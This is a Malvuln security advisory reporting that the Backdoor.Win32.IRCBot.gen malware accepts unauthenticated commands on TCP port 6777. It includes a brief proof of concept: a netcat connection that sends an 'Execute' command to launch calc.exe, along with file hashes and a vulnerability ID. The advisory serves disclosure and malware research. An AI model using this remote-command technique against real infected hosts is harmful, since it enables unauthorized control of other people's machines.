Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/96f5cdfa5b3416c819d76060f11dc88d.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.IRCBot.gen
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 6777. Third-party attackers who can reach infected systems can execute commands. Commands must be wrapped in quotes or it will fail.

E.g.

Execute calc.exe
execution failed
Execute "calc.exe"
file executed

Type: PE32
MD5: 96f5cdfa5b3416c819d76060f11dc88d
Vuln ID: MVID-2021-0300
Dropped files: WINEXP.EXE
Disclosure: 07/18/2021

Exploit/PoC:
nc64.exe x.x.x.x 6777
malvuln
psychward final, ready for action
Execute "calc.exe"
file executed


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